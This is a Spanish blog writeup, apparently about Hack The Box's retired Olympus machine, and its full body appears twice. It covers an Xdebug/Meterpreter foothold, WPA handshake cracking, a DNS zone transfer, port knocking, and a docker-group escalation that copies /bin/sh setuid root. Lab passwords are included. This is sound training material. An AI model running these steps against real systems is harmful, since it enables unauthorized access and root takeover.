Hoy traemos un nuevo writeup de Hackthebox, el de la reci茅n retirada Olympus, pero esta vez de una forma un poco m谩s especial ya que la m谩quina es de nuestro compa帽ero del team L1k0rd3b3ll0t4 OscarakaElvis, por lo que aprovecho para darle tambi茅n la enhorabuena por la m谩quina tan molona que se marc贸.
Enumeraci贸n nmap
Ejecutamos
En el an谩lisis de nmap de los 1000 primeros puertos podemos comprobar que tenemos el servicio ssh en dos puertos diferentes: uno filtrado y otro abierto en el 2222. Tambi茅n tenemos un puerto 80 y un servicio dns en el 53, y despu茅s de escanear todos los puertos no hemos detectado nada m谩s.
Accedemos al puerto 80 y nos encontramos
En el puerto 80 solo nos encontramos con esa imagen que, despu茅s de analizarla mas detenidamente, no nos di贸 ning煤n tipo de informaci贸n que nos pudiera servir.
Fuzzing de directorios
El primero que lanzaremos ser谩 dirb
El segundo que suelo lanzar es dirsearch con algunos diccionarios de Sectlist, pero no tuve suerte y no encontr茅 info m谩s relevante que lo mostrado con dirb.
Comprobando cabeceras
Ejecuci贸n.
wget –S http://10.10.10.83 -O /dev/null ; curl –I http://10.10.10.83
Una vez hemos ejecutado esos dos comandos podemos comprobar las cabeceras http, y hay algo que nos llama la atenci贸n como la cabecera xdebug la cual suele ser usada por los developers, por lo que buscamos un poco de informaci贸n al respecto y encontramos un exploit.
Buscando informaci贸n exploit de Xdebug:
Una vez seleccionado el exploit lo configuramos y ejecutamos.
Una vez que hemos obtenido una sesi贸n de meterpreter, con el usuario www-data, ya podemos jugar un poco mas.
Visualizando usuarios
Comprobando si estoy en un docker
Como podemos ver en la imagen anterior tenemos un .dockerenv.
Vamos al home del usuario Zeus, y nos encontramos con un directorio llamado airgeddon: si se conoce al creador de la maquina podemos saber que tiene pinta de que es su herramienta para atacar wifis (os recomiendo a todos que la prob茅is porque es brutal, su github es https://github.com/v1s1t0r1sh3r3/airgeddon). Entramos dentro y analizando vemos una carpeta llamada 'captured':
Si listamos el contenido del directorio capturas, podemos ver que tenemos un txt y un .cap.
Y nos volvemos a encontrar con otro mensaje, que es el mismo que obtenemos al acceder al puerto 2222. Vemos que tambi茅n nos habla de Olympia.
Analizando el cap con wireshark, podemos comprobar que tenemos una autenticaci贸n y un handshake, con un SSID.

Visualizando los 4 mensajes.
WPA KEY
Aircrack
Ahora realizaremos una fuerza bruta para intentar descifrar el handshake detectado con wireshark.
aircrack-ng –w rockyou.txt pcap.cap
Ya tenemos informaci贸n relevante: tenemos un SSID y una clave.
La clave que nos devolvi贸 aircrack es “flightoficarus” (vuelo de icaro), por lo que en seguida nos vamos dando cuenta que todo esta relacionado con la mitolog铆a griega y el SSID “Too_cl0se_to_th3_Sun” (demasiado cerca del sol).
Si estudiamos un poco la mitolog铆a griega Icarus es el hijo del arquitecto D茅dalo.
Probamos la conexi贸n por ssh, ya que vimos que ten铆amos un 22 filtrado y un 2222 abierto, as铆 que le damos cera al 2222.
Despu茅s de estar un rato comprobando usuarios y contrase帽as (yo pensaba que todo iba relacionado con el usuario Zeus pero no) prob茅:
ssh –p 2222 icarus@10.10.10.83
password: Too_cl0se_to_th3_Sun
y entramos!
SHELL DOCKER ICARUS
Una vez tenemos la conexi贸n ssh, la segunda Shell, listamos y vemos y un txt, y vemos otro mensaje y un dns (recordar que tambi茅n ten铆amos el puerto 53 tcp abierto).
Comprobando con dig si obtenemos informaci贸n.
dig @10.10.10.83 ctfolymopus.htb
Pero no obtenemos mucho m谩s, aunque sabemos que el puerto 53 TCP se usa para transferencias de zonas...
COMPROBANDO TRANSFERENCIA DE ZONA
dig axfr @10.10.10.83 ctfolympus.htb
Al ver la transferencia de zona podemos obtener mas informaci贸n, como un mensaje “prometheus, open a temporal portal to Hades" y una numeraci贸n que tiene pinta de ser puertos, y lo que "parece" una contrase帽a.
Otro dato que nos llama la atenci贸n es el mensaje de “Here lies the great colossus of rhodes”.Comprobaremos si los dem谩s dns tienen informaci贸n pero este ya nos esta dando bastantes pistas con la transferencia de zona del dns.
Tambi茅n vemos otro dns hades.olyumpus.htb, rhodescolossus.ctfolympus.htb.
Rhodes.ctfolympus.htb
DNS Rhodes.ctfolympus.htb
No tenemos transferencia de zona para este dns.
Comprobando dns de RhodesColossus.ctfolympus.htb
Probando port knocking
Si recordamos el escaneo que realizamos con nmap, vimos que tenemos un puerto 22 filtrado y pensando un rato y viendo la informaci贸n que tenemos del dns, podemos llegar a la conclusi贸n que tenemos un port knocking, ya que vimos una enumeraci贸n de puertos, un usuario prometheus y una contrase帽a St34l_th3_F1re!.
Hacemos la primera prueba como vemos en la siguiente imagen, y podemos conectarnos.
Cabe destacar que tenemos un timeout para conectarnos por ssh, ya que sino lo hacemos r谩pido el puerto nos lo vuelve a cerrar.
Ejecutamos:
knock 10.10.10.83 3456 8234 62431
nmap –p 22 –sS 10.10.10.83
Con esto comprobamos si el puerto cambio de estado a open, en caso afirmativo, procedemos a la conexi贸n por ssh:
ssh prometheus@10.10.10.83, y la contrase帽a St34l_th3_F1re!
En la imagen anterior podemos comprobar que, en muy poco tiempo, se nos cierra el puerto.
Una vez tenemos abierto los puertos para poder conectarnos por ssh, si comprobamos el banner del puerto 22, nos daremos cuenta que tenemos la pista de hades
En la configuraci贸n del port knocking, podemos comprobar el timeout de 5 seg.
En la imagen siguiente ya con el puerto abierto, establecemos la conexi贸n por ssh.
OOOOOHHHHHH yeaahhh, tenemos nueva shell! Vamos al home de nuestro usuario prometheus, y bingo! tenemos flag de user.
Cabe indicar que cuando el puerto se abre tambi茅n se comprob贸 el banner de dicho servicio en el cual nos muestra otra pista HADES.
En el home del usuario, tambi茅n nos encontramos con un mensaje, que ser谩 otra pista que nos llevara a nuestro olympus, el mensaje es el siguiente.
ONLY IF YOU SERVE WELL TO THE GODS, YOU’LL BE ABLE TO ENTER INTO THE
Nos traemos linenum.sh para enumerar.
wget http://10.10.1x.x/linuxenum.sh /tmp
chmod +x Linuxenum.sh
./Linuxenum.sh
Aqu铆 ya podemos comprobar que estamos en la maquina anfitriona y no en un docker, como est谩bamos antes, podemos comprobar como se ve en la imagen que ya no tenemos el .dockerenv, en el directorio ra铆z.
Pero tenemos dos detalles.
• Primero pertenecemos al grupo de docker
• Segundo tenemos los nombre de los docker, y al estar en el grupo podemos ejecutar comandos del docker.
Podemos ejecutar comandos de docker, como por ejemplo info:
Una vez vemos que podemos ejecutar comandos del docker, buscamos un poco por Internet como conseguir privesc con docker y nos encontramos con el post de hackplayers en el siguiente enlace.
https://www.hackplayers.com/2015/10/manejas-contendores-docker-pues-hazte-root.html
Preparando fichero con setgid activado
Como tenemos los nombre de los docker probamos con crete, y quedar铆a de la siguiente forma nuestro archivo con el setgid activado.
Con el comando docker lo que se pretende hacer es crear un contenedor mapeando un volumen / a un dir de dentro del contenedor; y al entrar al contenedor acceder por esa carpeta al sistema de archivos del host. En esta parte podemos tanto sustituir el $pwd por /, de las dos formas funciona;
docker run -v $PWD:/pwned -t crete /bin/sh -c \ 'cp /bin/sh /pwned && /bin/chown root.root /pwned/sh && chmod a+s /pwned/sh'
se nos creara un fichero sh
Lo ejecutamos ./sh:
Whoami
Y Game over somos root, como vemos en la siguiente imagen.
Enumeraci贸n nmap
Ejecutamos
En el an谩lisis de nmap de los 1000 primeros puertos podemos comprobar que tenemos el servicio ssh en dos puertos diferentes: uno filtrado y otro abierto en el 2222. Tambi茅n tenemos un puerto 80 y un servicio dns en el 53, y despu茅s de escanear todos los puertos no hemos detectado nada m谩s.
Accedemos al puerto 80 y nos encontramos
En el puerto 80 solo nos encontramos con esa imagen que, despu茅s de analizarla mas detenidamente, no nos di贸 ning煤n tipo de informaci贸n que nos pudiera servir.
Fuzzing de directorios
El primero que lanzaremos ser谩 dirb
El segundo que suelo lanzar es dirsearch con algunos diccionarios de Sectlist, pero no tuve suerte y no encontr茅 info m谩s relevante que lo mostrado con dirb.
Comprobando cabeceras
Ejecuci贸n.
wget –S http://10.10.10.83 -O /dev/null ; curl –I http://10.10.10.83
Una vez hemos ejecutado esos dos comandos podemos comprobar las cabeceras http, y hay algo que nos llama la atenci贸n como la cabecera xdebug la cual suele ser usada por los developers, por lo que buscamos un poco de informaci贸n al respecto y encontramos un exploit.
Buscando informaci贸n exploit de Xdebug:
Una vez seleccionado el exploit lo configuramos y ejecutamos.
Una vez que hemos obtenido una sesi贸n de meterpreter, con el usuario www-data, ya podemos jugar un poco mas.
Visualizando usuarios
Comprobando si estoy en un docker
Como podemos ver en la imagen anterior tenemos un .dockerenv.
Vamos al home del usuario Zeus, y nos encontramos con un directorio llamado airgeddon: si se conoce al creador de la maquina podemos saber que tiene pinta de que es su herramienta para atacar wifis (os recomiendo a todos que la prob茅is porque es brutal, su github es https://github.com/v1s1t0r1sh3r3/airgeddon). Entramos dentro y analizando vemos una carpeta llamada 'captured':
Si listamos el contenido del directorio capturas, podemos ver que tenemos un txt y un .cap.
Y nos volvemos a encontrar con otro mensaje, que es el mismo que obtenemos al acceder al puerto 2222. Vemos que tambi茅n nos habla de Olympia.
Analizando el cap con wireshark, podemos comprobar que tenemos una autenticaci贸n y un handshake, con un SSID.

Visualizando los 4 mensajes.
WPA KEY
Aircrack
Ahora realizaremos una fuerza bruta para intentar descifrar el handshake detectado con wireshark.
aircrack-ng –w rockyou.txt pcap.cap
Ya tenemos informaci贸n relevante: tenemos un SSID y una clave.
La clave que nos devolvi贸 aircrack es “flightoficarus” (vuelo de icaro), por lo que en seguida nos vamos dando cuenta que todo esta relacionado con la mitolog铆a griega y el SSID “Too_cl0se_to_th3_Sun” (demasiado cerca del sol).
Si estudiamos un poco la mitolog铆a griega Icarus es el hijo del arquitecto D茅dalo.
Probamos la conexi贸n por ssh, ya que vimos que ten铆amos un 22 filtrado y un 2222 abierto, as铆 que le damos cera al 2222.
Despu茅s de estar un rato comprobando usuarios y contrase帽as (yo pensaba que todo iba relacionado con el usuario Zeus pero no) prob茅:
ssh –p 2222 icarus@10.10.10.83
password: Too_cl0se_to_th3_Sun
y entramos!
SHELL DOCKER ICARUS
Una vez tenemos la conexi贸n ssh, la segunda Shell, listamos y vemos y un txt, y vemos otro mensaje y un dns (recordar que tambi茅n ten铆amos el puerto 53 tcp abierto).
Comprobando con dig si obtenemos informaci贸n.
dig @10.10.10.83 ctfolymopus.htb
Pero no obtenemos mucho m谩s, aunque sabemos que el puerto 53 TCP se usa para transferencias de zonas...
COMPROBANDO TRANSFERENCIA DE ZONA
dig axfr @10.10.10.83 ctfolympus.htb
Al ver la transferencia de zona podemos obtener mas informaci贸n, como un mensaje “prometheus, open a temporal portal to Hades" y una numeraci贸n que tiene pinta de ser puertos, y lo que "parece" una contrase帽a.
Otro dato que nos llama la atenci贸n es el mensaje de “Here lies the great colossus of rhodes”.Comprobaremos si los dem谩s dns tienen informaci贸n pero este ya nos esta dando bastantes pistas con la transferencia de zona del dns.
Tambi茅n vemos otro dns hades.olyumpus.htb, rhodescolossus.ctfolympus.htb.
Rhodes.ctfolympus.htb
DNS Rhodes.ctfolympus.htb
No tenemos transferencia de zona para este dns.
Comprobando dns de RhodesColossus.ctfolympus.htb
Probando port knocking
Si recordamos el escaneo que realizamos con nmap, vimos que tenemos un puerto 22 filtrado y pensando un rato y viendo la informaci贸n que tenemos del dns, podemos llegar a la conclusi贸n que tenemos un port knocking, ya que vimos una enumeraci贸n de puertos, un usuario prometheus y una contrase帽a St34l_th3_F1re!.
Hacemos la primera prueba como vemos en la siguiente imagen, y podemos conectarnos.
Cabe destacar que tenemos un timeout para conectarnos por ssh, ya que sino lo hacemos r谩pido el puerto nos lo vuelve a cerrar.
Ejecutamos:
knock 10.10.10.83 3456 8234 62431
nmap –p 22 –sS 10.10.10.83
Con esto comprobamos si el puerto cambio de estado a open, en caso afirmativo, procedemos a la conexi贸n por ssh:
ssh prometheus@10.10.10.83, y la contrase帽a St34l_th3_F1re!
En la imagen anterior podemos comprobar que, en muy poco tiempo, se nos cierra el puerto.
Una vez tenemos abierto los puertos para poder conectarnos por ssh, si comprobamos el banner del puerto 22, nos daremos cuenta que tenemos la pista de hades
En la configuraci贸n del port knocking, podemos comprobar el timeout de 5 seg.
En la imagen siguiente ya con el puerto abierto, establecemos la conexi贸n por ssh.
OOOOOHHHHHH yeaahhh, tenemos nueva shell! Vamos al home de nuestro usuario prometheus, y bingo! tenemos flag de user.
Cabe indicar que cuando el puerto se abre tambi茅n se comprob贸 el banner de dicho servicio en el cual nos muestra otra pista HADES.
En el home del usuario, tambi茅n nos encontramos con un mensaje, que ser谩 otra pista que nos llevara a nuestro olympus, el mensaje es el siguiente.
ONLY IF YOU SERVE WELL TO THE GODS, YOU’LL BE ABLE TO ENTER INTO THE
Nos traemos linenum.sh para enumerar.
wget http://10.10.1x.x/linuxenum.sh /tmp
chmod +x Linuxenum.sh
./Linuxenum.sh
Aqu铆 ya podemos comprobar que estamos en la maquina anfitriona y no en un docker, como est谩bamos antes, podemos comprobar como se ve en la imagen que ya no tenemos el .dockerenv, en el directorio ra铆z.
Pero tenemos dos detalles.
• Primero pertenecemos al grupo de docker
• Segundo tenemos los nombre de los docker, y al estar en el grupo podemos ejecutar comandos del docker.
Podemos ejecutar comandos de docker, como por ejemplo info:
Una vez vemos que podemos ejecutar comandos del docker, buscamos un poco por Internet como conseguir privesc con docker y nos encontramos con el post de hackplayers en el siguiente enlace.
https://www.hackplayers.com/2015/10/manejas-contendores-docker-pues-hazte-root.html
Preparando fichero con setgid activado
Como tenemos los nombre de los docker probamos con crete, y quedar铆a de la siguiente forma nuestro archivo con el setgid activado.
Con el comando docker lo que se pretende hacer es crear un contenedor mapeando un volumen / a un dir de dentro del contenedor; y al entrar al contenedor acceder por esa carpeta al sistema de archivos del host. En esta parte podemos tanto sustituir el $pwd por /, de las dos formas funciona;
docker run -v $PWD:/pwned -t crete /bin/sh -c \ 'cp /bin/sh /pwned && /bin/chown root.root /pwned/sh && chmod a+s /pwned/sh'
se nos creara un fichero sh
Lo ejecutamos ./sh:
Whoami
Y Game over somos root, como vemos en la siguiente imagen.
Contribuci贸n gracias a Frankytech
que increible trabajo!
ResponderEliminar